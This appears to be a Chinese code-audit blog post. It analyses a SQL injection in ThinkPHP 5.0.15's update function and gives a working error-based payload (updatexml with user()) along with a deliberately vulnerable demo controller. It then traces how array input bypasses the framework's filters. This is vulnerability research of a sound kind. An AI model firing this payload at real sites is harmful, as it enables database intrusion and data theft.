热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

12PHP代码审计——ThinkPHP5.0.15update注入分析

环境:thinkphp_5.0.15_fullpoc:level[0]inc&level[1]updatexml(1,concat(0x7,user()

环境:


thinkphp_5.0.15_full


poc:


level[0]=inc&level[1]=updatexml(1,concat(0x7,user(),0x7e),1)&level[2]=1


 

下载ThinkPHP5.0.15解压到www.tptest.com目录下,并在phpstudy中将域名站点的网站目录改为ThinkPHP5.0.15的public目录。

在application目录的config.php文件中开启跟踪调试模式,如下所示:

// 应用调试模式
'app_debug' => true,
// 应用Trace
'app_trace' => true,

 

然后在application目录的database.php文件中配置数据库

// 数据库类型
'type' => 'mysql',
// 服务器地址
'hostname' => '127.0.0.1',
// 数据库名
'database' => 'thinkphp32',
// 用户名
'username' => 'root',
// 密码
'password' => '123456',
// 端口
'hostport' => '3306',

 

如果出现以下画面说明配置正常

 

update注入示例程序:

class Index
{public function index(){///a表示以数组接收level$level = input("level/a");$data = db("users")->where("id" , 1)->update(["level"=>$level]);dump($data);}
}

thinkphp提供了input函数来接收数据,那么问题是input函数是如何接收提交的参数?

 

访问网址提交poc:

网页返回了错误信息,直接把数据库的用户信息爆出来了。

 

在input函数中,内部有两个函数比较重要:filterValue和typeCast

public function input($data = [], $name = '', $default = null, $filter = ''){if (false === $name) {// 获取原始数据return $data;}$name = (string) $name;if ('' != $name) {// 解析name,提取数据if (strpos($name, '/')) {list($name, $type) = explode('/', $name);} else {$type = 's';}// 按.拆分成多维数组进行判断foreach (explode('.', $name) as $val) {if (isset($data[$val])) {$data = $data[$val];} else {// 无输入数据,返回默认值return $default;}}if (is_object($data)) {return $data;}}//后面的操作都是对数据过滤,强转// 解析过滤器if (is_null($filter)) {$filter = [];} else {$filter = $filter ?: $this->filter;if (is_string($filter)) {$filter = explode(',', $filter);} else {$filter = (array) $filter;}}$filter[] = $default;if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);reset($data);} else {//提取数据并过滤$this->filterValue($data, $name, $filter);}if (isset($type) && $data !== $default) {// 强制数据类型转换$this->typeCast($data, $type);}return $data;
}

 

filterValue函数内部实际是使用了filterExp函数过滤特殊关键字,如下所示:

public function filterExp(&$value){// 过滤查询特殊字符if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {$value .= ' ';}
}

如果提交的数据中出现了以上这些关键字的话,都会被过滤掉

 

 

typeCast函数内部会会对数据进行数据类型转换,支持以下数据类型转换

private function typeCast(&$data, $type){switch (strtolower($type)) {// 数组case 'a':$data = (array) $data;break;// 数字case 'd':$data = (int) $data;break;// 浮点case 'f':$data = (float) $data;break;// 布尔case 'b':$data = (boolean) $data;break;// 字符串case 's':default:if (is_scalar($data)) {$data = (string) $data;} else {throw new \InvalidArgumentException('variable type error:' . gettype($data));}}}

 

thinkphp5.0.15操作数据库操作流程:

db() --> where() --> update()

 

db()函数主要是实例化数据库的一些初始化操作,where函数内部是一些赋值操作,我们重点从update函数开始分析:

public function update(array $data = []){//提取数据进行赋值$optiOns= $this->parseExpress();$data = array_merge($options['data'], $data);$pk = $this->getPk($options);if (isset($options['cache']) && is_string($options['cache']['key'])) {$key = $options['cache']['key'];}if (empty($options['where'])) {// 如果存在主键数据 则自动作为更新条件if (is_string($pk) && isset($data[$pk])) {$where[$pk] = $data[$pk];if (!isset($key)) {$key = 'think:' . $options['table'] . '|' . $data[$pk];}unset($data[$pk]);} elseif (is_array($pk)) {// 增加复合主键支持foreach ($pk as $field) {if (isset($data[$field])) {$where[$field] = $data[$field];} else {// 如果缺少复合主键数据则不执行throw new Exception('miss complex primary data');}unset($data[$field]);}}if (!isset($where)) {// 如果没有任何更新条件则不执行throw new Exception('miss update condition');} else {$options['where']['AND'] = $where;}} elseif (!isset($key) && is_string($pk) && isset($options['where']['AND'][$pk])) {$key = $this->getCacheKey($options['where']['AND'][$pk], $options, $this->bind);}// 生成UPDATE SQL语句,这里又调用了一次update函数$sql = $this->builder->update($data, $options);// 获取参数绑定$bind = $this->getBind();if ($options['fetch_sql']) {// 获取实际执行的SQL语句return $this->connection->getRealSql($sql, $bind);} else {// 检测缓存if (isset($key) && Cache::get($key)) {// 删除缓存Cache::rm($key);} elseif (!empty($options['cache']['tag'])) {Cache::clear($options['cache']['tag']);}// 执行操作$result = '' == $sql ? 0 : $this->execute($sql, $bind);if ($result) {if (is_string($pk) && isset($where[$pk])) {$data[$pk] = $where[$pk];} elseif (is_string($pk) && isset($key) && strpos($key, '|')) {list($a, $val) = explode('|', $key);$data[$pk] = $val;}$options['data'] = $data;$this->trigger('after_update', $options);}return $result;}
}

update函数内部又调用了一个update函数

 

update函数中接收的数组data是一个数组level,其实就是之前我们提交的poc,写成数组的目的是为了绕过后面的过滤。

 

 

在这个update函数中有几个函数比较关键

public function update($data, $options){//提取数据$table = $this->parseTable($options['table'], $options);//解析data,这里的data是level数组$data = $this->parseData($data, $options);if (empty($data)) {return '';}foreach ($data as $key => $val) {$set[] = $key . '=' . $val;}//过滤的核心函数$sql = str_replace(['%TABLE%', '%SET%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'],[$this->parseTable($options['table'], $options),implode(',', $set),$this->parseJoin($options['join'], $options),$this->parseWhere($options['where'], $options),$this->parseOrder($options['order'], $options),$this->parseLimit($options['limit']),$this->parseLock($options['lock']),$this->parseComment($options['comment']),], $this->updateSql);return $sql;
}

parseTable函数会把表拿出来赋值,parseData函数会对level的内容进行解析,这里我们要重点分析parseData函数对level数组做了哪些处理。

 

分析parseData函数:

protected function parseData($data, $options){if (empty($data)) {return [];}// 获取绑定信息$bind = $this->query->getFieldsBind($options['table']);if ('*' == $options['field']) {$fields = array_keys($bind);} else {$fields = $options['field'];}$result = [];//取出level数组中的数据,分别放入key和valforeach ($data as $key => $val) {//解析key$item = $this->parseKey($key, $options);if (is_object($val) && method_exists($val, '__toString')) {// 对象数据写入$val = $val->__toString();}if (false === strpos($key, '.') && !in_array($key, $fields, true)) {if ($options['strict']) {throw new Exception('fields not exists:[' . $key . ']');}} elseif (is_null($val)) {$result[$item] = 'NULL';//val是否为数组} elseif (is_array($val) && !empty($val)) {switch ($val[0]) {case 'exp':$result[$item] = $val[1];break;case 'inc':$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);break;case 'dec':$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);break;}} elseif (is_scalar($val)) {// 过滤非标量数据if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {$result[$item] = $val;} else {$key = str_replace('.', '_', $key);$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);$result[$item] = ':data__' . $key;}}}return $result;
}

parseData函数将data数组中的内容取出来放入val中然后过滤,此时的val仍然是一个数组。

 

val当满足条件后,会取出val的第一个元素进行匹配,如果匹配到inc就会执行图中这行代码,parseKey函数解析了val[1]和val[2]

这行代码执行时会把val[1]和val[2]的内容拼接起来,$result[$item]中拼接成的内容是这样的updatexml(1,concat(0x7,user(),0x7e),1)+1。

因为parseKey函数虽然对key的内容做了过滤,但这里只过滤了特殊字符然后将key返回,所以这里key的内容仍然还是:updatexml(1,concat(0x7,user(),0x7e),1),之前的poc用数组的方式提交目的是为了在这里绕过过滤。

 

 

继续跟进parseKey函数如何解析val的内容

protected function parseKey($key, $optiOns= []){$key = trim($key);//这个if没有过滤if (strpos($key, '$.') && false === strpos($key, '(')) {// JSON字段支持list($field, $name) = explode('$.', $key);$key = 'json_extract(' . $field . ', \'$.' . $name . '\')';} elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {list($table, $key) = explode('.', $key, 2);if ('__TABLE__' == $table) {$table = $this->query->getTable();}if (isset($options['alias'][$table])) {$table = $options['alias'][$table];}}//过滤特殊字符if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {$key = '`' . $key . '`';}if (isset($table)) {if (strpos($table, '.')) {$table = str_replace('.', '`.`', $table);}$key = '`' . $table . '`.' . $key;}return $key;
}

接下来还调用了核心过滤函数str_replace,但是str_replace函数内部没有对$result[$item]的内容进行过滤,它只过滤了where子单元的内容,这样sql语句就绕过了后台的过滤。

 

update函数中返回的sql语句是这样的:

execute函数在执行该sql语句会报错,同时还会爆出数据库的用户信息。

到此,漏洞分析结束。

 


推荐阅读
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • 阿,里,云,物,联网,net,core,客户端,czgl,aliiotclient, ... [详细]
  • 使用Ubuntu中的Python获取浏览器历史记录原文: ... [详细]
  • 图解redis的持久化存储机制RDB和AOF的原理和优缺点
    本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ... [详细]
  • 本文介绍了在Mac上搭建php环境后无法使用localhost连接mysql的问题,并通过将localhost替换为127.0.0.1或本机IP解决了该问题。文章解释了localhost和127.0.0.1的区别,指出了使用socket方式连接导致连接失败的原因。此外,还提供了相关链接供读者深入了解。 ... [详细]
  • 本文介绍了作者在开发过程中遇到的问题,即播放框架内容安全策略设置不起作用的错误。作者通过使用编译时依赖注入的方式解决了这个问题,并分享了解决方案。文章详细描述了问题的出现情况、错误输出内容以及解决方案的具体步骤。如果你也遇到了类似的问题,本文可能对你有一定的参考价值。 ... [详细]
  • CentOS 6.5安装VMware Tools及共享文件夹显示问题解决方法
    本文介绍了在CentOS 6.5上安装VMware Tools及解决共享文件夹显示问题的方法。包括清空CD/DVD使用的ISO镜像文件、创建挂载目录、改变光驱设备的读写权限等步骤。最后给出了拷贝解压VMware Tools的操作。 ... [详细]
  • 本文讨论了在openwrt-17.01版本中,mt7628设备上初始化启动时eth0的mac地址总是随机生成的问题。每次随机生成的eth0的mac地址都会写到/sys/class/net/eth0/address目录下,而openwrt-17.01原版的SDK会根据随机生成的eth0的mac地址再生成eth0.1、eth0.2等,生成后的mac地址会保存在/etc/config/network下。 ... [详细]
  • r2dbc配置多数据源
    R2dbc配置多数据源问题根据官网配置r2dbc连接mysql多数据源所遇到的问题pom配置可以参考官网,不过我这样配置会报错我并没有这样配置将以下内容添加到pom.xml文件d ... [详细]
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • 本文介绍了Perl的测试框架Test::Base,它是一个数据驱动的测试框架,可以自动进行单元测试,省去手工编写测试程序的麻烦。与Test::More完全兼容,使用方法简单。以plural函数为例,展示了Test::Base的使用方法。 ... [详细]
  • 本文介绍了高校天文共享平台的开发过程中的思考和规划。该平台旨在为高校学生提供天象预报、科普知识、观测活动、图片分享等功能。文章分析了项目的技术栈选择、网站前端布局、业务流程、数据库结构等方面,并总结了项目存在的问题,如前后端未分离、代码混乱等。作者表示希望通过记录和规划,能够理清思路,进一步完善该平台。 ... [详细]
  • 本文介绍了PE文件结构中的导出表的解析方法,包括获取区段头表、遍历查找所在的区段等步骤。通过该方法可以准确地解析PE文件中的导出表信息。 ... [详细]
  • 利用Visual Basic开发SAP接口程序初探的方法与原理
    本文介绍了利用Visual Basic开发SAP接口程序的方法与原理,以及SAP R/3系统的特点和二次开发平台ABAP的使用。通过程序接口自动读取SAP R/3的数据表或视图,在外部进行处理和利用水晶报表等工具生成符合中国人习惯的报表样式。具体介绍了RFC调用的原理和模型,并强调本文主要不讨论SAP R/3函数的开发,而是针对使用SAP的公司的非ABAP开发人员提供了初步的接口程序开发指导。 ... [详细]
author-avatar
平凡的如果爱166
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有